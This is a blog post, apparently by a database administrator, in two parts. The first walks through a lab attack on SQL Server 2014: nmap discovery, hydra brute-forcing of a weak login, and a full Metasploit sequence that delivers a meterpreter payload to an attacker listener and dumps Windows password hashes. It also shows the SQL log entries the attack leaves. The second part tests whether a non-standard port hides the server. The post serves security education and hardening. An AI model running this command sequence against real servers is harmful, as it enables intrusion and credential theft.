Hacking SQL 2014 CTP1 on Windows Server 2012 R2

I wanted to test out the tools to make sure there were not any new gotchas with the latest and greatest versions of MSSQL and Windows Server. At the heart of this hack is brute forcing a SQL Auth account. I didn’t expect Microsoft to come up with any additional ways to prevent a server from being misconfigured and allowing this attack. What I wasn’t so sure about is if Microsoft had come up with a way to A, prevent the payload from executing or B prevent the payload from dumping the password hashes.

Here is our lesson plan for today.
1. find an instance
2. brute force an account
3. deliver a payload
4. use meterpreter to dump the hashes

Hacking_MSSQL

First up is to install SQL Server. We’ll want to install the database engine, which is the service we are going to exploit, and also the management tools to make it super easy to misconfigure. My previous setup used VMWare player for the SQL box which got a little hairy. Turns out VMWare takes a bit to support new Windows operating systems so Hyper-V was a good choice for this test.

install_SQL

Next up to bat is the boneheaded administrator. Scumbag DBA is going to do a few things to this box to make it super easy for us to deploy our hacker tools. Those misconfigurations include:

1. Local windows administrator service account
2. SQL Auth enabled
3. SQL User with an easy password and the sysadmin server role

misconfigs

Now that we’re ready to rock and roll I decided to use VMWare player for Kali Linux as my attacker machine. I was able to identify that Microsoft SQL Server was at the other end of port 1433 with nmap.

nmap_01

This did however trip a very important SQL Log entry. I’m not sure if this is new to SQL 2014 but someone should contact nmap :]

09/28/2013 09:05:18,Logon,Unknown,The login packet used to open the connection is structurally invalid; the connection has been closed. Please contact the vendor of the client library. [CLIENT: 10.10.10.104]
09/28/2013 09:05:18,Logon,Unknown,Error: 17832 Severity: 20 State: 18.

After using the brute force tool “hydra”, we have a identified a valid username and password of tom/tom. This generates some more log entries. No supprises here:

09/28/2013 09:34:10,Logon,Unknown,Login failed for user 'tom'. Reason: Password did not match that for the login provided. [CLIENT: 10.10.10.104]
09/28/2013 09:34:10,Logon,Unknown,Error: 18456 Severity: 14 State: 8.
09/28/2013 09:34:10,Logon,Unknown,Login failed for user 'tom'. Reason: Password did not match that for the login provided. [CLIENT: 10.10.10.104]
09/28/2013 09:34:10,Logon,Unknown,Error: 18456 Severity: 14 State: 8.
09/28/2013 09:34:10,Logon,Unknown,Login failed for user 'tom'. Reason: Password did not match that for the login provided. [CLIENT: 10.10.10.104]
09/28/2013 09:34:10,Logon,Unknown,Error: 18456 Severity: 14 State: 8.

Now that we have a valid username and password we can use the metasploit framework to send our payload and attempt to retrieve the hashes. The commands to complete this are:

msfconsole
use exploit/windows/mssql/mssql_payload
set password tom
set username tom
set rhost 10.10.10.105
set lhost 10.10.10.100
exploit
getuid
ps
migrate 2136
hashdump
sysinfo

successful_hashes

Aaaaaaand we’ve got Build 9200 giving us the goods. Getting the hashes allows for lateral movement. All SQL servers on the same domain could very well be at risk now that one SQL Server has been taken advantage of. The key here is to avoid the misconfigurations on ALL servers.

This malicious activity does generate some more notable log activity. Notice that we never enabled xp_cmdshell, the delivery of the payload did that for us.

09/29/2013 09:27:22,spid55,Unknown,Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
09/29/2013 09:27:22,spid55,Unknown,Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
09/29/2013 09:27:22,spid55,Unknown,SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell' search for 'xp_cmdshell' in SQL Server Books Online.

The goal here is to help everyone be more secure by identifying and testing some basic misconfigurations. We’ve proved that patching alone won’t protect you from all evils.

 

Non-Standard SQL Port

25MAR

As a DBA, I have heard of a defensive maneuver that is supposed to help throw the hackers off your scent. That maneuver is configuring a non-standard port for the database engine, something other than 1433.

We first need to understand a standard configuration. If you select only the database engine on install, the default instance listens on TCP port 1433. No firewall changes are made so that is something you have to do post install. The SQL Browser service is disabled because it is not required. UDP/1434 was used by the SQL Slammer worm and took advantage of poor network packet handling of the SQL Browser service. I recommend you leave this service disabled.

In previous attacks I have demonstrated, during the information gathering phase, we locate a SQL Server using nmap or zenmap. We assume this is a SQL Server because port 1433 is open. You can find a good listing of default ports on wikipedia. You can also find a good list of windows ports in your services file usually located in c:\windows\system32\drivers\etc\

Rather than discuss whether we should or should not change the SQL Port what I want to do it test out the effectiveness of the tools if the port is changed. To change what port SQL listens on for remote connections, there are three spots in the SQL Server configuration manager we have to change.

First, I like to change the listen all setting to no.
change_sql_port_01

Then, find your IPv4 address and enable listening on it and change the port.
change_sql_port_02

Now, we have to change the firewall. I’ve added an extra rule, then verified I could connect using the “IP,port” in SSMS.

change_sql_port_03

Penetration Testing

The only thing a port change will defend against is the information gathering phase of a hack. If we do a quick scan with zenmap, I noticed that this change is at least partially effective. The ms-sql port doesn’t light up green like we are used to. In fact, no open port is identified by a quick scan.

change_sql_port_06

What we have to do is open up our scan. The intense all TCP ports is very time consuming. I doubt a hacker would wait this long for a single host, I sure didn’t.

change_sql_port_04

nmap has a lot options and switches we can experiment with. I did notice the option “-p T:” which will try TCP ports within the range supplied. This completes in a reasonable amount of time.

change_sql_port_05

However, the service identification is missing. By changing the command a bit we can identify that the service is SQL, just not the exact version.

change_sql_port_07

As you can see the port change was ultimately ineffective. The fact that the host is always easily identified as online will draw the attention of an attacker. With a small amount of persistence, the attacker can identify the target as a SQL Server.

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s